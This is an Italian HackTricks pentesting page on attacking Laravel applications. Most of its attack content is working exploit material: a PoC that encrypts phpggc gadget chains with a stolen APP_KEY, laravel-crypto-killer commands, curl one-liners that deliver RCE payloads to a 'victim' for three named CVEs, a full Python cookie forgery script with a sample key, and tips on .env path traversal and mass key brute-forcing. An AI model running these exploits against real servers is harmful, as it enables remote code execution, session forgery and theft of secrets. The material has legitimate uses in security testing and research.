Laravel
Reading time: 8 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Laravel SQLInjection
Leggi informazioni al riguardo qui: https://stitcher.io/blog/unsafe-sql-functions-in-laravel
APP_KEY & Interni di crittografia (Laravel \u003e=5.6)
Laravel utilizza AES-256-CBC (o GCM) con integrità HMAC sotto il cofano (Illuminate\\Encryption\\Encrypter
).
Il testo cifrato grezzo che viene infine inviato al client è Base64 di un oggetto JSON come:
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
encrypt($value, $serialize=true)
eseguirà serialize()
il testo in chiaro per impostazione predefinita, mentre decrypt($payload, $unserialize=true)
eseguirà automaticamente unserialize()
il valore decrittografato. Pertanto qualsiasi attaccante che conosce la chiave segreta di 32 byte APP_KEY
può creare un oggetto PHP serializzato crittografato e ottenere RCE tramite metodi magici (__wakeup
, __destruct
, …).
Minimal PoC (framework ≥9.x):
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
Injecta la stringa prodotta in qualsiasi sink vulnerabile decrypt()
(parametro di route, cookie, sessione, …).
laravel-crypto-killer 🧨
laravel-crypto-killer automatizza l'intero processo e aggiunge una comoda modalità bruteforce:
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
Lo script supporta in modo trasparente sia i payload CBC che GCM e rigenera il campo HMAC/tag.
Modelli vulnerabili nel mondo reale
Progetto | Sink vulnerabile | Catena di gadget |
---|---|---|
Invoice Ninja ≤v5 (CVE-2024-55555) | /route/{hash} → decrypt($hash) | Laravel/RCE13 |
Snipe-IT ≤v6 (CVE-2024-48987) | cookie XSRF-TOKEN quando Passport::withCookieSerialization() è abilitato | Laravel/RCE9 |
Crater (CVE-2024-55556) | SESSION_DRIVER=cookie → cookie laravel_session | Laravel/RCE15 |
Il flusso di sfruttamento è sempre:
- Ottenere o forzare il
APP_KEY
di 32 byte. - Costruire una catena di gadget con PHPGGC (ad esempio
Laravel/RCE13
,Laravel/RCE9
oLaravel/RCE15
). - Cifrare il gadget serializzato con laravel_crypto_killer.py e il
APP_KEY
recuperato. - Consegnare il ciphertext al sink vulnerabile
decrypt()
(parametro di route, cookie, sessione …) per attivare RCE.
Di seguito ci sono frasi concise che dimostrano il percorso completo dell'attacco per ciascun CVE reale menzionato sopra:
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
Scoperta di APP_KEY massiva tramite brute-force dei cookie
Poiché ogni risposta fresca di Laravel imposta almeno 1 cookie crittografato (XSRF-TOKEN
e di solito laravel_session
), scanner pubblici di internet (Shodan, Censys, …) rilasciano milioni di testi cifrati che possono essere attaccati offline.
Risultati chiave della ricerca pubblicata da Synacktiv (2024-2025):
- Dataset luglio 2024 » 580 k token, 3.99 % chiavi decifrate (≈23 k)
- Dataset maggio 2025 » 625 k token, 3.56 % chiavi decifrate
-
1 000 server ancora vulnerabili a CVE-2018-15133 legacy perché i token contengono direttamente dati serializzati.
- Grande riutilizzo delle chiavi – le prime 10 APP_KEY sono valori predefiniti hard-coded forniti con modelli commerciali di Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
Il tool privato Go nounours spinge il throughput di brute-force AES-CBC/GCM a ~1.5 miliardi di tentativi/s, riducendo la decifratura dell'intero dataset a <2 minuti.
Trucchi di Laravel
Modalità di debug
Se Laravel è in modalità di debug sarai in grado di accedere al codice e ai dati sensibili.
Ad esempio http://127.0.0.1:8000/profiles
:
Questo è solitamente necessario per sfruttare altre CVE RCE di Laravel.
.env
Laravel salva l'APP che utilizza per crittografare i cookie e altre credenziali all'interno di un file chiamato .env
che può essere accessibile utilizzando un po' di path traversal sotto: /../.env
Laravel mostrerà anche queste informazioni all'interno della pagina di debug (che appare quando Laravel trova un errore ed è attivata).
Utilizzando la chiave segreta APP_KEY di Laravel puoi decrittografare e ri-crittografare i cookie:
Decrypt Cookie
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
Laravel Deserialization RCE
Versioni vulnerabili: 5.5.40 e 5.6.x fino a 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)
Qui puoi trovare informazioni sulla vulnerabilità di deserializzazione: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/
Puoi testarla e sfruttarla usando https://github.com/kozmic/laravel-poc-CVE-2018-15133
Oppure puoi anche sfruttarla con metasploit: use unix/http/laravel_token_unserialize_exec
CVE-2021-3129
Un'altra deserializzazione: https://github.com/ambionics/laravel-exploits
Riferimenti
- Laravel: analisi della fuga di APP_KEY (IT)
- Laravel : analyse de fuite d’APP_KEY (FR)
- laravel-crypto-killer
- PHPGGC – PHP Generic Gadget Chains
- CVE-2018-15133 write-up (WithSecure)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.